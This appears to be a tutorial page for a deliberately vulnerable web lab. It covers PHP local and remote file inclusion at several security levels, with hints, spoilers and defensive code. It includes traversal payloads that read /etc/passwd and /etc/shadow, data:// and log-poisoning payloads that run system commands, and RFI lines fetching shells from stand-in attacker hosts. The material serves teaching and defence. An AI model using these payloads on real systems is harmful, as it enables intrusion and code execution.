File Inclusion

Overview

File Inclusion vulnerabilities occur when web applications allow user-supplied input to specify files that will be processed or included in the application’s context. This can lead to:

Local File Inclusion (LFI): Including files from the local server filesystem
Remote File Inclusion (RFI): Including files from remote servers

These vulnerabilities can have severe security implications, potentially leading to:

Source code disclosure
Sensitive data exposure
Remote code execution
Server compromise

LFI vs RFI vs File Disclosure

Important distinction:

File Inclusion: The file is executed/processed in the application context (can lead to code execution)
Arbitrary File Access/Disclosure: The file content is read/displayed (information disclosure)

File inclusion is generally more dangerous because it can lead to remote code execution, while file disclosure “only” leaks information.

RFI Requirements

Remote File Inclusion requires specific PHP configuration:

allow_url_include = On (disabled by default in modern PHP)
allow_url_fopen = On (enabled by default)

When RFI is not possible, LFI combined with other vulnerabilities (like file upload) can achieve similar results.

Objective

Read all five famous quotes from the file /hackable/flags/fi.php using only the file inclusion vulnerability. Note: The file path is ../hackable/flags/fi.php relative to the vulnerability page.

Security Levels

Low
Medium
High
Impossible

Vulnerability Analysis

The low security level has absolutely no input validation. User input is directly used to include files, making it trivially exploitable for both LFI and RFI.

Vulnerable Code

// The page we wish to display
$file = $_GET[ 'page' ];

That’s it. The $file variable is then used directly in an include statement (in the main page logic):

include($file);

Key Vulnerability: Zero validation. The application blindly includes whatever file path the user provides.

Why It’s Vulnerable

No input validation whatsoever
No path sanitization
No whitelist of allowed files
Direct use of user input in include()
Accepts both absolute and relative paths

Testing Approach

Local File Inclusion (LFI):

Directory traversal to read local files:

?page=../../../etc/passwd
?page=../../../../../../etc/passwd
?page=../hackable/flags/fi.php

Null byte injection (PHP < 5.3.4):
```
?page=../../../etc/passwd%00
```

PHP wrapper filters to read source code:

?page=php://filter/convert.base64-encode/resource=../hackable/flags/fi.php

Remote File Inclusion (RFI):If allow_url_include is enabled:

?page=http://attacker.com/shell.php
?page=http://attacker.com/shell.txt

Show Hint

You can navigate to parent directories using ../ sequences. Count how many levels up you need to go to reach the root directory, then navigate to the target file.Alternatively, use PHP stream wrappers to read the file content. The php://filter wrapper is particularly useful for reading PHP source code.

Show Spoiler

LFI Examples:

# Direct path to objective
?page=../hackable/flags/fi.php

# Read system files
?page=../../../../../../etc/passwd

# Read PHP source code (avoid execution)
?page=php://filter/convert.base64-encode/resource=../hackable/flags/fi.php

The last example is important because it encodes the PHP file as base64, so you can see the source code instead of executing it.RFI Examples (if enabled):

# Include remote PHP file
?page=http://evil.com/shell.php

# Include remote file disguised as image
?page=http://evil.com/shell.txt

For the objective, you need to read the quotes from fi.php. Using the base64 filter lets you see the actual PHP code with all 5 quotes.

Vulnerability Analysis

The medium level implements basic filtering to prevent common LFI/RFI attacks, but the filters are insufficient and can be bypassed.

Vulnerable Code

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

Key Vulnerability:

Single-pass string replacement (not recursive)
Only filters http://, https://, and directory traversal sequences
Can be bypassed with double encoding or alternative methods

Why It’s Still Vulnerable

Non-recursive filtering: Only runs once, so nested patterns bypass it
Limited protocol filtering: Doesn’t block all protocols
Incomplete path filtering: Only blocks ../ and ..\\

Bypass Techniques

LFI Bypass - Double Encoding:Since the filter only runs once, you can use:

# This: ../ gets filtered to nothing
# But this: ....// becomes ../ after filtering
?page=....//....//....//etc/passwd

The string ....// contains ../ which gets removed, leaving ../.RFI Bypass - Alternative Protocols:

# HTTP/HTTPS are blocked, but other wrappers aren't
?page=php://input
?page=data://text/plain,<?php system($_GET['cmd']); ?>
?page=php://filter/convert.base64-encode/resource=index.php

PHP Stream Wrappers:PHP supports many stream wrappers besides HTTP:

php:// - Access various I/O streams
data:// - Data (RFC 2397)
file:// - Filesystem
ftp:// - FTP
zip:// - Compression streams

Show Hint

The filter only runs once through the input. What happens if you put one pattern inside another?For example, if the filter removes “AB”, what does “AABB” become?Also, HTTP/HTTPS aren’t the only ways to include remote content. PHP has other stream wrappers.

Show Spoiler

LFI Bypass:

# Double encoding the directory traversal
?page=....//....//....//....//hackable/flags/fi.php

When ../ is removed from ....//, it leaves ../:

Before: ....//
Filter removes: ../
After: ../

RFI Bypass using PHP streams:

# Data wrapper
?page=data://text/plain,<?php echo file_get_contents('../hackable/flags/fi.php'); ?>

# PHP filter (works great for reading source)
?page=php://filter/convert.base64-encode/resource=....//....//hackable/flags/fi.php

The PHP filter example combines both bypasses:

Uses PHP stream wrapper (not http://)
Uses double-encoded path traversal

Vulnerability Analysis

The high level implements a whitelist approach using pattern matching, but the pattern is too permissive due to the use of wildcards.

Vulnerable Code

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

Key Vulnerability: The fnmatch() function uses shell-style wildcards. The pattern "file*" means “anything starting with ‘file’”, which is too permissive.

Why It’s Still Vulnerable

fnmatch("file*", $file) matches ANY string starting with “file”
The wildcard * matches everything, including directory traversal sequences
Filenames just need to start with “file”

What fnmatch() Matches

The pattern "file*" will match:

file1.php ✓ (intended)
file2.php ✓ (intended)
file3.php ✓ (intended)
file../../../../etc/passwd ✓ (unintended!)
file/../../../hackable/flags/fi.php ✓ (unintended!)

Testing Approach

You need to:

Start the filename with “file”
Then use directory traversal to reach the target

LFI Exploitation:

?page=file../hackable/flags/fi.php
?page=file../../../../etc/passwd

RFI is much harder at this level. You would need to:

Upload a file to the server that starts with “file”
Then include it using the file inclusion vulnerability
This is a multi-step attack combining file upload + file inclusion

Show Hint

The validation checks if the filename starts with “file”. It doesn’t check what comes AFTER “file”.Can you start your path with “file” and then add directory traversal sequences?

Show Spoiler

LFI Payload:

# Read the objective file
?page=file../hackable/flags/fi.php

# Read system files
?page=file../../../../etc/passwd

# Read source code
?page=file../../../hackable/flags/fi.php

The key is that fnmatch("file*", "file../hackable/flags/fi.php") returns true because the string starts with “file”.RFI requires chaining:

Upload a malicious file via the file upload vulnerability
Name it something like “fileshell.php”
Include it: ?page=file../../uploads/fileshell.php

This demonstrates how vulnerabilities can be chained together for greater impact.

Secure Implementation

The impossible level implements a strict whitelist of allowed files, completely preventing file inclusion attacks.

Secure Code

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
$configFileNames = [
    'include.php',
    'file1.php',
    'file2.php',
    'file3.php',
];

if( !in_array($file, $configFileNames) ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

Why It’s Secure

Strict whitelist: Only exact filename matches are allowed
Hardcoded list: The allowed files are defined in the application
Exact matching: Uses in_array() for exact string comparison
No wildcards: No pattern matching that could be bypassed
No path manipulation: Only filenames are accepted, no paths

Defense Mechanisms

Whitelist Approach:

Explicitly defines all allowed files
No user input affects the actual file path
Uses exact string matching (no wildcards)
Rejects anything not in the whitelist

Why This Works:

User input is compared against a fixed list
No directory traversal possible
No protocol wrappers allowed
No encoding bypasses possible
The actual include path is controlled by the application

This implementation makes file inclusion attacks impossible because:

Only specific, hardcoded filenames are allowed
User input cannot influence the file path
All file operations use validated, safe references
There’s no way to include arbitrary files

Testing Methodology

Local File Inclusion (LFI)

Basic Directory Traversal:

?page=../../../etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd

PHP Wrapper Exploitation:

# Read PHP source code (base64 encoded)
?page=php://filter/convert.base64-encode/resource=index.php

# Read file contents
?page=php://filter/resource=../hackable/flags/fi.php

# Execute PHP code (if allow_url_include is on)
?page=data://text/plain,<?php phpinfo(); ?>

# Read POST data
?page=php://input
(Send PHP code in POST body)

Log Poisoning:

# Inject PHP into access logs via User-Agent
User-Agent: <?php system($_GET['cmd']); ?>

# Then include the log file
?page=../../../var/log/apache2/access.log&cmd=whoami

Common File Targets:

/etc/passwd                    # User accounts (Linux)
/etc/shadow                    # Password hashes (Linux, requires root)
/var/log/apache2/access.log    # Apache logs
/var/log/apache2/error.log     # Apache errors  
/proc/self/environ             # Environment variables
C:\Windows\System32\drivers\etc\hosts  # Windows hosts file
C:\xampp\apache\logs\access.log        # XAMPP logs

Remote File Inclusion (RFI)

Basic RFI:

?page=http://attacker.com/shell.php
?page=http://attacker.com/shell.txt

PHP Wrappers:

?page=data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id
?page=php://input

Automated Testing

LFI/RFI Scanner Tools:

dotdotpwn: Automated LFI/RFI fuzzer
fimap: LFI/RFI exploitation tool
Burp Suite: Manual testing with Intruder

# dotdotpwn example
perl dotdotpwn.pl -m http -h target.com -M GET -o windows \
  -f /etc/passwd -k "root:" -d 5 -t 300

Defense Strategies

Primary Defenses

Avoid Dynamic File Inclusion

// Don't do this:
include($_GET['page']);

// Instead, use a mapping:
$pages = [
    'home' => 'home.php',
    'about' => 'about.php',
];

$page = $_GET['page'];
if (isset($pages[$page])) {
    include($pages[$page]);
}

Strict Whitelist Validation

$allowed = ['file1.php', 'file2.php', 'file3.php'];

if (in_array($file, $allowed, true)) {
    include($file);
} else {
    die('Invalid file');
}

Use basename() and Validate

$file = basename($_GET['file']);
$file = str_replace(['..', '/'], '', $file);

if (file_exists("pages/$file")) {
    include("pages/$file");
}

Additional Defenses

Disable allow_url_include

# php.ini
allow_url_include = Off
allow_url_fopen = Off  # If not needed

Use open_basedir Restriction

# php.ini - Limit file operations to specific directory
open_basedir = /var/www/html

Input Validation

// Only allow alphanumeric and specific characters
if (!preg_match('/^[a-zA-Z0-9_-]+$/', $file)) {
    die('Invalid filename');
}

What Doesn’t Work

Blacklisting patterns: Too many bypass techniques
Single-pass filtering: Can be bypassed with nesting
Filtering only http://: Many other wrappers exist
Using wildcards in whitelist: Too permissive (as shown in high level)
Client-side validation: Easily bypassed

Injection

Cross-Site Scripting

Authentication & Access

Web Application Attacks

Security Features

File Inclusion

Overview

LFI vs RFI vs File Disclosure

RFI Requirements

Objective

Security Levels

Vulnerability Analysis

Vulnerable Code

Why It’s Vulnerable

Testing Approach

Vulnerability Analysis

Vulnerable Code

Why It’s Still Vulnerable

Bypass Techniques

Vulnerability Analysis

Vulnerable Code

Why It’s Still Vulnerable

What fnmatch() Matches

Testing Approach

Secure Implementation

Secure Code

Why It’s Secure

Defense Mechanisms

Testing Methodology

Local File Inclusion (LFI)

Remote File Inclusion (RFI)

Automated Testing

Defense Strategies

Primary Defenses

Additional Defenses

What Doesn’t Work

Resources

Build docs developers (and LLMs) love

Injection

Cross-Site Scripting

Authentication & Access

Web Application Attacks

Security Features

​Overview

​LFI vs RFI vs File Disclosure

​RFI Requirements

​Objective

​Security Levels

​Vulnerability Analysis

​Vulnerable Code

​Why It’s Vulnerable

​Testing Approach

​Vulnerability Analysis

​Vulnerable Code

​Why It’s Still Vulnerable

​Bypass Techniques

​Vulnerability Analysis

​Vulnerable Code

​Why It’s Still Vulnerable

​What fnmatch() Matches

​Testing Approach

​Secure Implementation

​Secure Code

​Why It’s Secure

​Defense Mechanisms

​Testing Methodology

​Local File Inclusion (LFI)

​Remote File Inclusion (RFI)

​Automated Testing

​Defense Strategies

​Primary Defenses

​Additional Defenses

​What Doesn’t Work

​Resources

Build docs developers (and LLMs) love

Overview

LFI vs RFI vs File Disclosure

RFI Requirements

Objective

Security Levels

Vulnerability Analysis

Vulnerable Code

Why It’s Vulnerable

Testing Approach

Vulnerability Analysis

Vulnerable Code

Why It’s Still Vulnerable

Bypass Techniques

Vulnerability Analysis

Vulnerable Code

Why It’s Still Vulnerable

What fnmatch() Matches

Testing Approach

Secure Implementation

Secure Code

Why It’s Secure

Defense Mechanisms

Testing Methodology

Local File Inclusion (LFI)

Remote File Inclusion (RFI)

Automated Testing

Defense Strategies

Primary Defenses

Additional Defenses

What Doesn’t Work

Resources